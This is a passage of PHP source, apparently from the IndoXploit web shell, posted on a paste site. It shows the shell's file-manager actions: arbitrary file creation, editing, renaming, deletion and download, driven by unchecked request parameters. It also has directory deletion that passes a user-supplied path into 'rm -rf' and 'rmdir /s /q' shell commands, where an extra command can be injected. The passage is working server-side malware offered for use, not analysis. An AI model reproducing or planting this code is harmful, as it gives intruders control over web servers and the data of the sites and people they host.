  2000.     if($_POST['new_save_file']) {
  2001.         $newfile = htmlspecialchars($_POST['newfile']);
  2002.         $fopen = fopen($newfile, "a+");
  2003.         if($fopen) {
  2004.             $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  2005.         } else {
  2006.             $act = "<font color=red>permission denied</font>";
  2007.         }
  2008.     }
  2009.     echo $act;
  2010.     echo "<form method='post'>
  2011.     Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  2012.     <input type='submit' name='new_save_file' value='Submit'>
  2013.     </form>";
  2014. } elseif($_GET['act'] == 'newfolder') {
  2015.     if($_POST['new_save_folder']) {
  2016.         $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  2017.         if(!mkdir($new_folder)) {
  2018.             $act = "<font color=red>permission denied</font>";
  2019.         } else {
  2020.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2021.         }
  2022.     }
  2023.     echo $act;
  2024.     echo "<form method='post'>
  2025.     Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  2026.     <input type='submit' name='new_save_folder' value='Submit'>
  2027.     </form>";
  2028. } elseif($_GET['act'] == 'rename_dir') {
  2029.     if($_POST['dir_rename']) {
  2030.         $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  2031.         if($dir_rename) {
  2032.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2033.         } else {
  2034.             $act = "<font color=red>permission denied</font>";
  2035.         }
  2036.     echo "".$act."<br>";
  2037.     }
  2038.     echo "<form method='post'>
  2039.     <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  2040.     <input type='submit' name='dir_rename' value='rename'>
  2041.     </form>";
  2042. } elseif($_GET['act'] == 'delete_dir') {
  2043.     if(is_dir($dir)) {
  2044.         if(is_writable($dir)) {
  2045.             @rmdir($dir);
  2046.             @exe("rm -rf $dir");
  2047.             @exe("rmdir /s /q $dir");
  2048.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2049.         } else {
  2050.             $act = "<font color=red>could not remove ".basename($dir)."</font>";
  2051.         }
  2052.     }
  2053.     echo $act;
  2054. } elseif($_GET['act'] == 'view') {
  2055.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET
  2056.  
  2057. ['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=
  2058.  
  2059. $dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2060.     echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  2061. } elseif($_GET['act'] == 'edit') {
  2062.     if($_POST['save']) {
  2063.         $save = file_put_contents($_GET['file'], $_POST['src']);
  2064.         if($save) {
  2065.             $act = "<font color=lime>Saved!</font>";
  2066.         } else {
  2067.             $act = "<font color=red>permission denied</font>";
  2068.         }
  2069.     echo "".$act."<br>";
  2070.     }
  2071.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET
  2072.  
  2073. ['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?
  2074.  
  2075. act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2076.     echo "<form method='post'>
  2077.     <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  2078.     <input type='submit' value='Save' name='save' style='width: 500px;'>
  2079.     </form>";
  2080. } elseif($_GET['act'] == 'rename') {
  2081.     if($_POST['do_rename']) {
  2082.         $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  2083.         if($rename) {
  2084.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2085.         } else {
  2086.             $act = "<font color=red>permission denied</font>";
  2087.         }
  2088.     echo "".$act."<br>";
  2089.     }
  2090.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET
  2091.  
  2092. ['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?
  2093.  
  2094. act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2095.     echo "<form method='post'>
  2096.     <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  2097.     <input type='submit' name='do_rename' value='rename'>
  2098.     </form>";
  2099. } elseif($_GET['act'] == 'delete') {
  2100.     $delete = unlink($_GET['file']);
  2101.     if($delete) {
  2102.         $act = "<script>window.location='?dir=".$dir."';</script>";
  2103.     } else {
  2104.         $act = "<font color=red>permission denied</font>";
  2105.     }
  2106.     echo $act;
  2107. } else {
  2108.     if(is_dir($dir) === true) {
  2109.         if(!is_readable($dir)) {
  2110.             echo "<font color=red>can't open directory. ( not readable )</font>";
  2111.         } else {
  2112.             echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  2113.             <tr>
  2114.             <th class="th_home"><center>Name</center></th>
  2115.             <th class="th_home"><center>Type</center></th>
  2116.             <th class="th_home"><center>Size</center></th>
  2117.             <th class="th_home"><center>Last Modified</center></th>
  2118.             <th class="th_home"><center>Owner/Group</center></th>
  2119.             <th class="th_home"><center>Permission</center></th>
  2120.             <th class="th_home"><center>Action</center></th>
  2121.             </tr>';
  2122.             $scandir = scandir($dir);
  2123.             foreach($scandir as $dirx) {
  2124.                 $dtype = filetype("$dir/$dirx");
  2125.                 $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  2126.                 if(function_exists('posix_getpwuid')) {
  2127.                     $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
  2128.                     $downer = $downer['name'];
  2129.                 } else {
  2130.                     //$downer = $uid;
  2131.                     $downer = fileowner("$dir/$dirx");
  2132.                 }
  2133.                 if(function_exists('posix_getgrgid')) {
  2134.                     $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
  2135.                     $dgrp = $dgrp['name'];
  2136.                 } else {
  2137.                     $dgrp = filegroup("$dir/$dirx");
  2138.                 }
  2139.                 if(!is_dir("$dir/$dirx")) continue;
  2140.                 if($dirx === '..') {
  2141.                     $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  2142.                 } elseif($dirx === '.') {
  2143.                     $href = "<a href='?dir=$dir'>$dirx</a>";
  2144.                 } else {
  2145.                     $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  2146.                 }
  2147.                 if($dirx === '.' || $dirx === '..') {
  2148.                     $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  2149.                     } else {
  2150.                     $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  2151.                 }
  2152.                 echo "<tr>";
  2153.                 echo "<td class='td_home'><img
  2154.  
  2155. src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH
  2156.  
  2157. 4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  2158.                 echo "<td class='td_home'><center>$dtype</center></td>";
  2159.                 echo "<td class='td_home'><center>-</center></th></td>";
  2160.                 echo "<td class='td_home'><center>$dtime</center></td>";
  2161.                 echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
  2162.                 echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  2163.                 echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2164.                 echo "</tr>";
  2165.             }
  2166.         }
  2167.     } else {
  2168.         echo "<font color=red>can't open directory.</font>";
  2169.     }
  2170.         foreach($scandir as $file) {
  2171.             $ftype = filetype("$dir/$file");
  2172.             $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2173.             $size = filesize("$dir/$file")/1024;
  2174.             $size = round($size,3);
  2175.             if(function_exists('posix_getpwuid')) {
  2176.                 $fowner = @posix_getpwuid(fileowner("$dir/$file"));
  2177.                 $fowner = $fowner['name'];
  2178.             } else {
  2179.                 //$downer = $uid;
  2180.                 $fowner = fileowner("$dir/$file");
  2181.             }
  2182.             if(function_exists('posix_getgrgid')) {
  2183.                 $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
  2184.                 $fgrp = $fgrp['name'];
  2185.             } else {
  2186.                 $fgrp = filegroup("$dir/$file");
  2187.             }
  2188.             if($size > 1024) {
  2189.                 $size = round($size/1024,2). 'MB';
  2190.             } else {
  2191.                 $size = $size. 'KB';
  2192.             }
  2193.             if(!is_file("$dir/$file")) continue;
  2194.             echo "<tr>";
  2195.             echo "<td class='td_home'><img
  2196.  
  2197. src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM
  2198.  
  2199. 38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR
  2200.  
  2201. +//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD
  2202.  
  2203. 132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T
  2204.  
  2205. +POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms
  2206.  
  2207. +qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a
  2208.  
  2209. href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  2210.             echo "<td class='td_home'><center>$ftype</center></td>";
  2211.             echo "<td class='td_home'><center>$size</center></td>";
  2212.             echo "<td class='td_home'><center>$ftime</center></td>";
  2213.             echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
  2214.             echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  2215.             echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a
  2216.  
  2217. href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  2218.             echo "</tr>";
  2219.         }
  2220.         echo "</table>";
  2221.         if(!is_readable($dir)) {
  2222.             //
  2223.         } else {
  2224.             echo "<hr>";
  2225.         }
  2226.     echo "<center>Copyright &copy; ".date("Y")." - <a href='http://indoxploit.or.id/' target='_blank'><font color=lime>IndoXploit</font></a></center>";
  2227. }
  2228. ?>
  2229. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!